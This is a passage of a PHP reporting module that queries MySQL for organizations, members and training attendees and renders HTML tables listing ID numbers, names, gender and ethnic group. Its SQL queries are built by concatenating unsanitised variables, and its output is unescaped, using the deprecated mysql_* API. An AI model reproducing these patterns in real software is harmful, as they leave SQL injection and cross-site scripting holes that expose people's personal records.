query($sqlFortalecimiento);\n\t\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$campoFortalecimiento = \"asistencia_legal\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$aux++;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provNombre . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $cedulaSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $apellidosSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $generoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $poblacionSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnicoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $orgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $categoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $identificacionCategoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $campoFortalecimiento . \"</td>\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\t\t\t\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\t\t\n\t}\n\n\tif($indicadorSel == 5)\n\t{\n\t\t$resIndicador = quinto_indicador($mesSel,$zonaSel);\n\t\t//print_r2($resIndicador);\n\n\t\t$numRegistros = count($resIndicador);\n\t\tif($numRegistros > 0)\n\t\t{\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE HORAS DE CAPACITACION</th>\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>EVENTO</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\n\t\t\tfor($i = 0; $i < count($resIndicador); $i = $i + 2)\n\t\t\t{\n\t\t\t\t$orgEvento = array();\n\t\t\t\t$orgFortalecimiento = array();\n\t\t\t\t$sqlOrgEventos = \"select ev.cod_u_organizaciones, e.campo_fortalecimiento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.anio = \" . $anioCurso . \" and ev.cod_evento = '\" . $resIndicador[$i] . \"' group by ev.cod_u_organizaciones\";\n\t\t\t\t//echo $sqlOrgEventos . \"<br>\";\n\t\t\t\t$resOrgEventos = query($sqlOrgEventos);\n\n\t\t\t\tif(mysql_num_rows($resOrgEventos) > 0)\n\t\t\t\t{\n\t\t\t\t\twhile($fila = mysql_fetch_array($resOrgEventos))\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($orgEvento, $fila['cod_u_organizaciones']);\n\t\t\t\t\t\tarray_push($orgFortalecimiento, $fila['campo_fortalecimiento']);\n\t\t\t\t\t}\n\n\t\t\t\t\t$cont1 = 0;\t\t\t\t\t\n\t\t\t\t\tforeach($orgEvento as $valor)\n\t\t\t\t\t{\n\n\t\t\t\t\t\t$sqlOrganizacion = \"select cod_provincia, organizacion, ruc_definitivo, ruc_provisional, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t\t\t\t$resOrganizacion = query($sqlOrganizacion);\n\t\t\t\t\t\t$provOrg = \"\";\n\t\t\t\t\t\t$nombreOrg = \"\";\n\t\t\t\t\t\t$catMatrizProductivaOrg = \"\";\n\t\t\t\t\t\t$actividadOrg = \"\";\n\t\t\t\t\t\twhile($fila = mysql_fetch_array($resOrganizacion))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$provOrg = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t\t$nombreOrg = $fila['organizacion'];\n\t\t\t\t\t\t\t$rucDefinitivo = $fila['ruc_definitivo'] . \" - \" . $fila['ruc_provisional'];\n\t\t\t\t\t\t\t$catMatrizProductivaOrg = $fila['categoria_actividad_mp'];\n\t\t\t\t\t\t\t$actividadOrg = $fila['identificacion_actividad_mp'];\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $provOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $nombreOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrg . \"</td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i + 1] . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $orgFortalecimiento[$cont1] . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i] . \"</td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t\t\t$cont++;\n\t\t\t\t\t\t$cont1++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td>NO EXISTEN ORGANIZACIONES REGISTRADAS</td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i + 1] . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i] . \"</td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t\t$cont++;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\t\t\n\n\t\t\n\n\t}\n\n\tif($indicadorSel == 6)\n\t{\n\t\t$resIndicador = sexto_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\t\t$numRegistros = count($resIndicador);\n\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t// si hay registros se debe crear la tabla de detalle\n\t\tif($numRegistros > 0)\n\t\t{\n\t\t\t// armado del header de la tabla\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t\t<th>CODIGO DIALOGO SOCIAL</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t//tengo el array con codigos del dialgo social devuelto por el indicador\n\t\t\t$cont = 0;\n\t\t\t$lineasTabla = \"\";\t\t\t\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\t\t\t\t// debe buscar la informacion del dialogo social\n\t\t\t\t$sqlDetalleDialogo = \"select cod_provincia, cedula, nombres, apellidos, grupo_etnico, poblacion, genero from asistentes where cod_evento = '\" . $valor . \"' and anio = \" . $anioCurso . \" group by cedula\";\n\t\t\t\t//echo $sqlDetalleDialogo . \"<br>\";\n\t\t\t\t$resDetalleDialogo = query($sqlDetalleDialogo);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\twhile($fila = mysql_fetch_array($resDetalleDialogo))\n\t\t\t\t{\n\t\t\t\t\t$indice = $cont + 1;\n\t\t\t\t\t$provOrg = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t$cedulaA = $fila['cedula'];\n\t\t\t\t\t$apellidosNombres = $fila['apellidos'];\n\t\t\t\t\t$grupoEtnico = $fila['grupo_etnico'];\n\t\t\t\t\t$generoA = $fila['genero'];\n\t\t\t\t\t$poblacionA = $fila['poblacion'];\n\n\t\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $provOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $cedulaA . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $apellidosNombres . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnico . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $generoA . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $poblacionA . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $valor . \"</td>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t\t$cont++;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// si no existe registros lo hacemos saber al usuario\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\t\t\n\t\t\n\n\t}\n\n\tif($indicadorSel == 7)\n\t{\n\t\t$resIndicador = septimo_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\n\t\t// si el indicador regresa datos comenzamos a armar la tabla de detalle\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t// armado del header de la tabla\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\t\t\t$cont = 0;\n\t\t\t$lineasTabla = \"\";\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\t\t\t\t// consulto el detalle de los asistentes a eps\n\t\t\t\t$sqlAsistentes = \"select cod_provincia, apellidos, grupo_etnico, genero, poblacion from asistentes where tipo_evento = 'EPS' and zona=\" . $zonaSel . \" and month(fecha_reporte) = \" . $mesSel . \" and year(fecha_reporte) =\" . $anioCurso . \" and anio =\" . $anioCurso . \" and cedula = '\" . $valor . \"'\";\n\t\t\t\t$resAsistentes = query($sqlAsistentes);\n\t\t\t\twhile($fila = mysql_fetch_array($resAsistentes))\n\t\t\t\t{\n\t\t\t\t\t$provOrg = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t$apellidosNombres = $fila['apellidos'];\n\t\t\t\t\t$grupoEtnico = $fila['grupo_etnico'];\n\t\t\t\t\t$generoA = $fila['genero'];\n\t\t\t\t\t$poblacionA = $fila['poblacion'];\n\n\t\t\t\t}\n\n\t\t\t\t$indice = $cont + 1;\n\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $valor . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $apellidosNombres . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnico . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $generoA . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $poblacionA . \"</td>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// si no hay registros\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\t}\n\n\tif($indicadorSel == 8)\n\t{\n\t\t$resIndicador = octavo_indicador($mesSel, $zonaSel);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las organizaciones\n\t\t\t$provOrg = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las organizaciones\n\t\t\t$nombresOrganizaciones = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las organizaciones\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t//categoria Matriz productiva de las organizaciones\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\n\t\t\t// numero de personas Capacitadas\n\t\t\t$numPerCapacitadas = NumPersonasCapacitadas($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($eventosAsistentes);\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($resIndicador);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//capacitados por Genero\n\t\t\t$capMujeres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'mujer');\n\t\t\t$capHombres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'hombre');\n\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES REPORTE</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS MUJERES</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS HOMBRES</th>\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>CODIGO EVENTO</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresOrganizaciones[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numPerCapacitadas[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capMujeres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capHombres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $eventosAsistentes[$cont] . \"</td>\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\t}\n\n\tif($indicadorSel == 9)\n\t{\n\t\t$resIndicador = noveno_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\t\t//global $orgSocios;\n\n\t\t$provNombre = \"\";\n\t\t$rucSocio = \"\";\n\t\t$cedulaSocio = \"\";\n\t\t$apellidosSocio = \"\";\n\t\t$orgSocio = \"\";\n\t\t$actividadOrgSocio = \"\";\n\t\t$categoriaOrgSocio = \"\";\n\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t$campoFortalecimiento = \"\";\n\t\t$generoSocio = \"\";\n\t\t$poblacionSocio = \"\";\n\t\t$grupoEtnicoSocio = \"\";\n\n\t\t//print_r2($resIndicador);\n\t\t//print_r2($orgSocios);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t$provNombre = \"\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>ACTIVIDAD</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\t\t\t\t\t\n\t\t\t\t$rucSocio = \"\";\n\t\t\t\t$cedulaSocio = \"\";\n\t\t\t\t$apellidosSocio = \"\";\n\t\t\t\t$orgSocio = \"\";\n\t\t\t\t$actividadOrgSocio = \"\";\n\t\t\t\t$categoriaOrgSocio = \"\";\n\t\t\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t\t\t$campoFortalecimiento = \"\";\n\t\t\t\t$generoSocio = \"\";\n\t\t\t\t$poblacionSocio = \"\";\n\t\t\t\t$grupoEtnicoSocio = \"\";\n\n\t\t\t\t$sqlOrgSocios = \"select cod_u_organizaciones from socios where cedula = '\" . $valor . \"' group by cod_u_organizaciones\";\n\n\t\t\t\t$resSqlOrgSocios = query($sqlOrgSocios);\n\t\t\t\t$numRegistros = mysql_num_rows($resSqlOrgSocios);\n\t\t\t\t//echo $numRegistros . \"<br>\";\n\n\t\t\t\tif($numRegistros > 1)\n\t\t\t\t{\n\t\t\t\t\t// El socio existe en mas de una organizacion, por lo cual se debe de tomar los cod_u_organizaciones\n\t\t\t\t\t$codOrgSocio = array();\n\t\t\t\t\t$codOrgReportada = array();\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlOrgSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($codOrgSocio, $fila['cod_u_organizaciones']);\n\t\t\t\t\t}\n\n\t\t\t\t\t// Se busca las organizaciones que han sido reportadas en el mes\n\t\t\t\t\t/*foreach($codOrgSocio as $codigoOrg)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(in_array($codigoOrg, $orgSocios))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//si el codigo de organizacion se encuentra reportada se guarda en codOrgReportada\n\t\t\t\t\t\t\tarray_push($codOrgReportada, $codigoOrg);\n\t\t\t\t\t\t}\n\t\t\t\t\t}*/\n\n\t\t\t\t\t// Se completa la informacion correspondiente\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte from socios where cedula = '\" . $valor . \"' group by cedula\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\t$codOrgReportada = $codOrgSocio;\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\tforeach($codOrgReportada as $codigoOrg)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $codigoOrg;\n\t\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($aux == 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio .= \" - \" . $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio .= \" - \" . $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio .= \" - \" . $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio .= \" - \" . $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio .= \" - \" . $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $codigoOrg . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\n\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\t$aux1 = 0;\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\t\tif($aux1 == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t$aux1++;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$aux++;\n\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\n\n\n\t\t\t\t}\n\t\t\t\tif($numRegistros == 1)\n\t\t\t\t{\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte , cod_u_organizaciones from socios where cedula = '\" . $valor . \"' order by cod_u_organizaciones\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\twhile($fila = 